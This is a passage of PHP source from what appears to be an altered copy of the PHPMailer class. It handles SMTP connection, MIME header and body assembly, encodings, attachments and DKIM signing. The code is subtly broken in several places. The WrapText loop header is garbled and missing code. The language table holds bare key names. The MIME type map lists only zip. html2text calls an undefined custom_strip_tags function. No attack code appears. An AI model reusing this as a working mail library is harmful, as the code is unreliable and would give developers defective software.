$this->do_verp; $index = 0; $tls = ($this->SMTPSecure == 'tls'); $ssl = ($this->SMTPSecure == 'ssl'); $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); $host = $hostentry; $port = $this->Port; if (preg_match('/^(.+):([0-9]+)$/', $hostentry, $hostinfo)) { //If $hostentry contains 'address:port', override default $host = $hostinfo[1]; $port = $hostinfo[2]; } if ($this->smtp->Connect(($ssl ? 'ssl://':'').$host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->ServerHostname(); } $this->smtp->Hello($hello); if ($tls) { if (!$this->smtp->StartTLS()) { throw new phpmailerException($this->Lang('connect_host')); } //We must resend HELO after tls negotiation $this->smtp->Hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->Authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->Lang('authenticate')); } } return true; } catch (phpmailerException $e) { $lastexception = $e; //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->Quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->Close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function SmtpClose() { if ($this->smtp !== null) { if($this->smtp->Connected()) { $this->smtp->Quit(); $this->smtp->Close(); } } } function SetLanguage($langcode = 'en', $lang_path = 'language/') { $PHPMAILER_LANG = array( 'authenticate' => 'authenticate', 'connect_host' => 'connect_host', 'data_not_accepted' => 'data_not_accepted', 'empty_message' => 'empty_message', 'encoding' => 'encoding ', 'execute' => 'execute', 'file_access' => 'file_access', 'file_open' => 'file_open', 'from_failed' => 'from_failed', 'instantiate' => 'instantiate', 'invalid_address' => 'invalid_address', 'mailer_not_supported' => 'mailer_not_supported', 'provide_address' => 'provide_address', 'recipients_failed' => 'recipients_failed', 'signing' => 'signing', 'smtp_connect_failed' => 'smtp_connect_failed', 'smtp_error' => 'smtp_error', 'variable_set' => 'variable_set' ); $l = true; if ($langcode != 'en') { //There is no English translation file $l = @include $lang_path.'phpmailer.lang-'.$langcode.'.php'; } $this->language = $PHPMAILER_LANG; return ($l == true); //Returns false if language not found } public function GetTranslations() { return $this->language; } public function AddrAppend($type, $addr) { $addr_str = $type . ': '; $addresses = array(); foreach ($addr as $a) { $addresses[] = $this->AddrFormat($a); } $addr_str .= implode(', ', $addresses); $addr_str .= $this->LE; return $addr_str; } public function AddrFormat($addr) { if (empty($addr[1])) { return $this->SecureHeader($addr[0]); } else { return $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">"; } } public function WrapText($message, $length, $qp_mode = false) { $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE; $is_utf8 = (strtolower($this->CharSet) == "utf-8"); $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->FixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $line = explode($this->LE, $message); $message = ''; for ($i = 0 ;$i < count($line); $i++) { $line_part = explode(' ', $line[$i]); $buf = ''; for ($e = 0; $e $length)) { $space_left = $length - strlen($buf) - $crlflen; if ($e != 0) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->UTF8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf("=%s", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->UTF8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("=%s", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; $buf .= ($e == 0) ? $word : (' ' . $word); if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } } $message .= $buf . self::CRLF; } return $message; } public function UTF8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "="); if ($encodedCharPos !== false) { // Found start of encoded character byte within $lookBack block. // Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { // Single byte character. // If the encoded char was found at pos 0, it will fit // otherwise reduce maxLength to start of the encoded char $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec >= 192) { // First byte of a multi byte character // Reduce maxLength to split at start of character $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function SetWordWrap() { if($this->WordWrap < 1) { return; } switch($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->WrapText($this->Body, $this->WordWrap); break; } } public function CreateHeader() { $result = ''; $uniq_id = md5(uniqid(time())); $this->boundary[1] = 'b1_' . $uniq_id; $this->boundary[2] = 'b2_' . $uniq_id; $this->boundary[3] = 'b3_' . $uniq_id; if ($this->MessageDate == '') { $result .= $this->HeaderLine('Date', self::RFCDate()); } else { $result .= $this->HeaderLine('Date', $this->MessageDate); } if ($this->ReturnPath) { $result .= $this->HeaderLine('Return-Path', '<'.trim($this->ReturnPath).'>'); } elseif ($this->Sender == '') { $result .= $this->HeaderLine('Return-Path', '<'.trim($this->From).'>'); } else { $result .= $this->HeaderLine('Return-Path', '<'.trim($this->Sender).'>'); } if($this->Mailer != 'mail') { if ($this->SingleTo === true) { foreach($this->to as $t) { $this->SingleToArray[] = $this->AddrFormat($t); } } else { if(count($this->to) > 0) { $result .= $this->AddrAppend('To', $this->to); } elseif (count($this->cc) == 0) { $result .= $this->HeaderLine('To', 'undisclosed-recipients:;'); } } } $from = array(); $from[0][0] = trim($this->From); $from[0][1] = $this->FromName; $result .= $this->AddrAppend('From', $from); if(count($this->cc) > 0) { $result .= $this->AddrAppend('Cc', $this->cc); } if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) { $result .= $this->AddrAppend('Bcc', $this->bcc); } if(count($this->ReplyTo) > 0) { $result .= $this->AddrAppend('Reply-To', $this->ReplyTo); } // mail() sets the subject itself if($this->Mailer != 'mail') { $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject))); } if($this->MessageID != '') { $result .= $this->HeaderLine('Message-ID', $this->MessageID); } else { $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE); } $result .= $this->HeaderLine('X-Priority', $this->Priority); if ($this->XMailer == '') { $result .= $this->HeaderLine('X-Mailer', 'PHPMailer '.$this->Version.' (https://github.com/PHPMailer/PHPMailer/)'); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->HeaderLine('X-Mailer', $myXmailer); } } if($this->ConfirmReadingTo != '') { $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>'); } // Add custom headers for($index = 0; $index < count($this->CustomHeader); $index++) { $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1]))); } if (!$this->sign_key_file) { $result .= $this->HeaderLine('MIME-Version', '1.0'); $result .= $this->GetMailMIME(); } return $result; } public function GetMailMIME() { $result = ''; switch($this->message_type) { case 'inline': $result .= $this->HeaderLine('Content-Type', 'multipart/related;'); $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;'); $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"'); break; case 'alt': case 'alt_inline': $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;'); $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1].'"'); break; default: // Catches case 'plain': and case '': $result .= $this->TextLine('Content-Type: '.$this->ContentType.'; charset='.$this->CharSet); break; } //RFC1341 part 5 says 7bit is assumed if not specified if ($this->Encoding != '7bit') { $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding); } if($this->Mailer != 'mail') { $result .= $this->LE; } return $result; } public function GetSentMIMEMessage() { return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody; } public function CreateBody() { $body = ''; if ($this->sign_key_file) { $body .= $this->GetMailMIME().$this->LE; } $this->SetWordWrap(); switch($this->message_type) { case 'inline': $body .= $this->GetBoundary($this->boundary[1], '', '', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->AttachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $this->GetBoundary($this->boundary[1], '', '', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->AttachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $this->TextLine('--' . $this->boundary[1]); $body .= $this->HeaderLine('Content-Type', 'multipart/related;'); $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"'); $body .= $this->LE; $body .= $this->GetBoundary($this->boundary[2], '', '', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->AttachAll('inline', $this->boundary[2]); $body .= $this->LE; $body .= $this->AttachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); $body .= $this->EncodeString($this->AltBody, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->GetBoundary($this->boundary[1], '', 'text/html', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; if(!empty($this->Ical)) { $body .= $this->GetBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); $body .= $this->EncodeString($this->Ical, $this->Encoding); $body .= $this->LE.$this->LE; } $body .= $this->EndBoundary($this->boundary[1]); break; case 'alt_inline': $body .= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); $body .= $this->EncodeString($this->AltBody, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->TextLine('--' . $this->boundary[1]); $body .= $this->HeaderLine('Content-Type', 'multipart/related;'); $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"'); $body .= $this->LE; $body .= $this->GetBoundary($this->boundary[2], '', 'text/html', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->AttachAll('inline', $this->boundary[2]); $body .= $this->LE; $body .= $this->EndBoundary($this->boundary[1]); break; case 'alt_attach': $body .= $this->TextLine('--' . $this->boundary[1]); $body .= $this->HeaderLine('Content-Type', 'multipart/alternative;'); $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"'); $body .= $this->LE; $body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', ''); $body .= $this->EncodeString($this->AltBody, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->GetBoundary($this->boundary[2], '', 'text/html', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->EndBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->AttachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $body .= $this->TextLine('--' . $this->boundary[1]); $body .= $this->HeaderLine('Content-Type', 'multipart/alternative;'); $body .= $this->TextLine("\tboundary=\"" . $this->boundary[2].'"'); $body .= $this->LE; $body .= $this->GetBoundary($this->boundary[2], '', 'text/plain', ''); $body .= $this->EncodeString($this->AltBody, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->TextLine('--' . $this->boundary[2]); $body .= $this->HeaderLine('Content-Type', 'multipart/related;'); $body .= $this->TextLine("\tboundary=\"" . $this->boundary[3].'"'); $body .= $this->LE; $body .= $this->GetBoundary($this->boundary[3], '', 'text/html', ''); $body .= $this->EncodeString($this->Body, $this->Encoding); $body .= $this->LE.$this->LE; $body .= $this->AttachAll('inline', $this->boundary[3]); $body .= $this->LE; $body .= $this->EndBoundary($this->boundary[2]); $body .= $this->LE; $body .= $this->AttachAll('attachment', $this->boundary[1]); break; default: // catch case 'plain' and case '' $body .= $this->EncodeString($this->Body, $this->Encoding); break; } if ($this->IsError()) { $body = ''; } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new phpmailerException($this->Lang('signing').' OpenSSL extension missing.'); } $file = tempnam(sys_get_temp_dir(), 'mail'); file_put_contents($file, $body); //TODO check this worked $signed = tempnam(sys_get_temp_dir(), 'signed'); if (@openssl_pkcs7_sign($file, $signed, 'file://'.realpath($this->sign_cert_file), array('file://'.realpath($this->sign_key_file), $this->sign_key_pass), null)) { @unlink($file); $body = file_get_contents($signed); @unlink($signed); } else { @unlink($file); @unlink($signed); throw new phpmailerException($this->Lang('signing').openssl_error_string()); } } catch (phpmailerException $e) { $body = ''; if ($this->exceptions) { throw $e; } } } return $body; } protected function GetBoundary($boundary, $charSet, $contentType, $encoding) { $result = ''; if($charSet == '') { $charSet = $this->CharSet; } if($contentType == '') { $contentType = $this->ContentType; } if($encoding == '') { $encoding = $this->Encoding; } $result .= $this->TextLine('--' . $boundary); $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet); $result .= $this->LE; $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding); $result .= $this->LE; return $result; } protected function EndBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE; } protected function SetMessageType() { $this->message_type = array(); if($this->AlternativeExists()) $this->message_type[] = "alt"; if($this->InlineImageExists()) $this->message_type[] = "inline"; if($this->AttachmentExists()) $this->message_type[] = "attach"; $this->message_type = implode("_", $this->message_type); if($this->message_type == "") $this->message_type = "plain"; } public function HeaderLine($name, $value) { return $name . ': ' . $value . $this->LE; } public function TextLine($value) { return $value . $this->LE; } public function AddAttachment($path, $name = '', $encoding = 'base64', $type = '') { try { if ( !@is_file($path) ) { throw new phpmailerException($this->Lang('file_access') . $path, self::STOP_CONTINUE); } //If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ( $name == '' ) { $name = $filename; } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => 'attachment', 7 => 0 ); } catch (phpmailerException $e) { $this->SetError($e->getMessage()); if ($this->exceptions) { throw $e; } if ($this->SMTPDebug) { $this->edebug($e->getMessage()."\n"); } return false; } return true; } public function GetAttachments() { return $this->attachment; } protected function AttachAll($disposition_type, $boundary) { $mime = array(); $cidUniq = array(); $incl = array(); foreach ($this->attachment as $attachment) { if($attachment[6] == $disposition_type) { $string = ''; $path = ''; $bString = $attachment[5]; if ($bString) { $string = $attachment[0]; } else { $path = $attachment[0]; } $inclhash = md5(serialize($attachment)); if (in_array($inclhash, $incl)) { continue; } $incl[] = $inclhash; $filename = $attachment[1]; $name = $attachment[2]; $encoding = $attachment[3]; $type = $attachment[4]; $disposition = $attachment[6]; $cid = $attachment[7]; if ( $disposition == 'inline' && isset($cidUniq[$cid]) ) { continue; } $cidUniq[$cid] = true; $mime[] = sprintf("--%s%s", $boundary, $this->LE); $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $this->EncodeHeader($this->SecureHeader($name)), $this->LE); $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE); if($disposition == 'inline') { $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE); } if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $name)) { $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE); } else { $mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $this->EncodeHeader($this->SecureHeader($name)), $this->LE.$this->LE); } if($bString) { $mime[] = $this->EncodeString($string, $encoding); if($this->IsError()) { return ''; } $mime[] = $this->LE.$this->LE; } else { $mime[] = $this->EncodeFile($path, $encoding); if($this->IsError()) { return ''; } $mime[] = $this->LE.$this->LE; } } } $mime[] = sprintf("--%s--%s", $boundary, $this->LE); return implode("", $mime); } protected function EncodeFile($path, $encoding = 'base64') { try { if (!is_readable($path)) { throw new phpmailerException($this->Lang('file_open') . $path, self::STOP_CONTINUE); } $magic_quotes = get_magic_quotes_runtime(); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime(0); } else { ini_set('magic_quotes_runtime', 0); } } $file_buffer = file_get_contents($path); $file_buffer = $this->EncodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime($magic_quotes); } else { ini_set('magic_quotes_runtime', $magic_quotes); } } return $file_buffer; } catch (Exception $e) { $this->SetError($e->getMessage()); return ''; } } public function EncodeString($str, $encoding = 'base64') { $encoded = ''; switch(strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case '7bit': case '8bit': $encoded = $this->FixEOL($str); //Make sure it ends with a line break if (substr($encoded, -(strlen($this->LE))) != $this->LE) $encoded .= $this->LE; break; case 'binary': $encoded = $str; break; case 'quoted-printable': $encoded = $this->EncodeQP($str); break; default: $this->SetError($this->Lang('encoding') . $encoding); break; } return $encoded; } public function EncodeHeader($str, $position = 'text') { $x = 0; switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { $encoded = addcslashes($str, "\0..\37\177\\\""); if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded); } else { return ("\"$encoded\""); } } $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); break; case 'comment': $x = preg_match_all('/[()"]/', $str, $matches); case 'text': default: $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); break; } if ($x == 0) { //There are no chars that need encoding return ($str); } $maxlen = 75 - 7 - strlen($this->CharSet); if ($x > strlen($str)/3) { //More than a third of the content will need encoding, so B encoding will be most efficient $encoding = 'B'; if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) { $encoded = $this->Base64EncodeWrapMB($str, "\n"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\n")); } } else { $encoding = 'Q'; $encoded = $this->EncodeQ($str, $position); $encoded = $this->WrapText($encoded, $maxlen, true); $encoded = str_replace('='.self::CRLF, "\n", trim($encoded)); } $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded); $encoded = trim(str_replace("\n", $this->LE, $encoded)); return $encoded; } public function HasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet)); } else { return false; } } public function Base64EncodeWrapMB($str, $lf=null) { $start = "=?".$this->CharSet."?B?"; $end = "?="; $encoded = ""; if ($lf === null) { $lf = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $offset = $avgLength = floor($length * $ratio * .75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $lf; } $encoded = substr($encoded, 0, -strlen($lf)); return $encoded; } public function EncodeQP($string, $line_max = 76) { if (function_exists('quoted_printable_encode')) { return quoted_printable_encode($string); } $string = str_replace(array('%20', '%0D%0A.', '%0D%0A', '%'), array(' ', "\r\n=2E", "\r\n", '='), rawurlencode($string)); $string = preg_replace('/[^\r\n]{'.($line_max - 3).'}[^=\r\n]{2}/', "$0=\r\n", $string); return $string; } public function EncodeQPphp($string, $line_max = 76, $space_conv = false) { return $this->EncodeQP($string, $line_max); } public function EncodeQ($str, $position = 'text') { $pattern = ''; $encoded = str_replace(array("\r", "\n"), '', $str); switch (strtolower($position)) { case 'phrase': $pattern = '^A-Za-z0-9!*+\/ -'; break; case 'comment': $pattern = '\(\)"'; case 'text': default: $pattern = '\075\000-\011\013\014\016-\037\077\137\177-\377' . $pattern; break; } if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); } } return str_replace(' ', '_', $encoded); } public function AddStringAttachment($string, $filename, $encoding = 'base64', $type = '') { if ($type == '') { $type = self::filenameToType($filename); } $this->attachment[] = array( 0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => 'attachment', 7 => 0 ); } public function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '') { if ( !@is_file($path) ) { $this->SetError($this->Lang('file_access') . $path); return false; } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ( $name == '' ) { $name = $filename; } // Append to $attachment array $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => 'inline', 7 => $cid ); return true; } public function AddStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '') { if ($type == '') { $type = self::filenameToType($name); } $this->attachment[] = array( 0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment 6 => 'inline', 7 => $cid ); return true; } public function InlineImageExists() { foreach($this->attachment as $attachment) { if ($attachment[6] == 'inline') { return true; } } return false; } public function AttachmentExists() { foreach($this->attachment as $attachment) { if ($attachment[6] == 'attachment') { return true; } } return false; } public function AlternativeExists() { return !empty($this->AltBody); } public function ClearAddresses() { foreach($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); } public function ClearCCs() { foreach($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); } public function ClearBCCs() { foreach($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); } public function ClearReplyTos() { $this->ReplyTo = array(); } public function ClearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); } public function ClearAttachments() { $this->attachment = array(); } public function ClearCustomHeaders() { $this->CustomHeader = array(); } protected function SetError($msg) { $this->error_count++; if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) { $msg .= ' ' . $this->Lang('smtp_error') . $lasterror['smtp_msg'] . " \n"; } } $this->ErrorInfo = $msg; } public static function RFCDate() { date_default_timezone_set(@date_default_timezone_get()); return date('D, j M Y H:i:s O'); } protected function ServerHostname() { if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER['SERVER_NAME'])) { $result = $_SERVER['SERVER_NAME']; } else { $result = 'localhost.localdomain'; } return $result; } protected function Lang($key) { if(count($this->language) < 1) { $this->SetLanguage('en'); // set the default language } if(isset($this->language[$key])) { return $this->language[$key]; } else { return 'Language string failed to load: ' . $key; } } public function IsError() { return ($this->error_count > 0); } public function FixEOL($str) { $nstr = str_replace(array("\r\n", "\r"), "\n", $str); if ($this->LE !== "\n") { $nstr = str_replace("\n", $this->LE, $nstr); } return $nstr; } public function AddCustomHeader($name, $value=null) { if ($value === null) { $this->CustomHeader[] = explode(':', $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function MsgHTML($message, $basedir = '', $advanced = false) { preg_match_all("/(src|background)=[\"'](.*)[\"']/Ui", $message, $images); if (isset($images[2])) { foreach ($images[2] as $i => $url) { // do not change urls for absolute images (thanks to corvuscorax) if (!preg_match('#^[A-z]+://#', $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == '.') { $directory = ''; } $cid = md5($url).'@phpmailer.0'; //RFC2392 S 2 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { $basedir .= '/'; } if (strlen($directory) > 1 && substr($directory, -1) != '/') { $directory .= '/'; } if ($this->AddEmbeddedImage($basedir.$directory.$filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { $message = preg_replace("/".$images[1][$i]."=[\"']".preg_quote($url, '/')."[\"']/Ui", $images[1][$i]."=\"cid:".$cid."\"", $message); } } } } $this->IsHTML(true); if (empty($this->AltBody)) { $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . "\n\n"; } $this->Body = $this->NormalizeBreaks($message); $this->AltBody = $this->NormalizeBreaks($this->html2text($message, $advanced)); return $this->Body; } public function html2text($html, $advanced = false) { if ($advanced) { //require_once 'extras/class.html2text.php'; $h = new html2text($html); return $h->get_text(); } return html_entity_decode(trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet); } public static function _mime_types($ext = '') { $mimes = array( 'zip' => 'application/zip', ); return (!isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)]; } public static function filenameToType($filename) { $qpos = strpos($filename, '?'); if ($qpos !== false) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo['extension']); } public static function mb_pathinfo($path, $options = null) { $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); $m = array(); preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $m); if(array_key_exists(1, $m)) { $ret['dirname'] = $m[1]; } if(array_key_exists(2, $m)) { $ret['basename'] = $m[2]; } if(array_key_exists(5, $m)) { $ret['extension'] = $m[5]; } if(array_key_exists(3, $m)) { $ret['filename'] = $m[3]; } switch($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; break; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; break; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; break; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; break; default: return $ret; } } public function set($name, $value = '') { try { if (isset($this->$name) ) { $this->$name = $value; } else { throw new phpmailerException($this->Lang('variable_set') . $name, self::STOP_CRITICAL); } } catch (Exception $e) { $this->SetError($e->getMessage()); if ($e->getCode() == self::STOP_CRITICAL) { return false; } } return true; } public function SecureHeader($str) { return trim(str_replace(array("\r", "\n"), '', $str)); } public static function NormalizeBreaks($text, $breaktype = "\r\n") { return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text); } public function Sign($cert_filename, $key_filename, $key_pass) { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if ( ((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E)) ) { $line .= $txt[$i]; } else { $line .= "=".sprintf("%02X", $ord); } } return $line; } public function DKIM_Sign($s) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new phpmailerException($this->Lang("signing").' OpenSSL extension missing.'); } return ''; } $privKeyStr = file_get_contents($this->DKIM_private); if ($this->DKIM_passphrase != '') { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = $privKeyStr; } if (openssl_sign($s, $signature, $privKey)) { return base64_encode($signature); } return ''; } public function DKIM_HeaderC($s) { $s = preg_replace("/\r\n\s+/", " ", $s); $lines = explode("\r\n", $s); foreach ($lines as $key => $line) { list($heading, $value) = explode(":", $line, 2); $heading = strtolower($heading); $value = preg_replace("/\s+/", " ", $value) ; // Compress useless spaces $lines[$key] = $heading.":".trim($value) ; // Don't forget to remove WSP around the value } $s = implode("\r\n", $lines); return $s; } public function DKIM_BodyC($body) { if ($body == '') return "\r\n"; $body = str_replace("\r\n", "\n", $body); $body = str_replace("\n", "\r\n", $body); while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body $DKIMquery = 'dns/txt'; // Query method $DKIMtime = time() ; // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) $subject_header = "Subject: $subject"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $current = ''; foreach($headers as $header) { if (strpos($header, 'From:') === 0) { $from_header = $header; $current = 'from_header'; } elseif (strpos($header, 'To:') === 0) { $to_header = $header; $current = 'to_header'; } else { if($current && strpos($header, ' =?') === 0){ $current .= $header; } else { $current = ''; } } } $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)) ; // Copied header fields (dkim-quoted-printable $body = 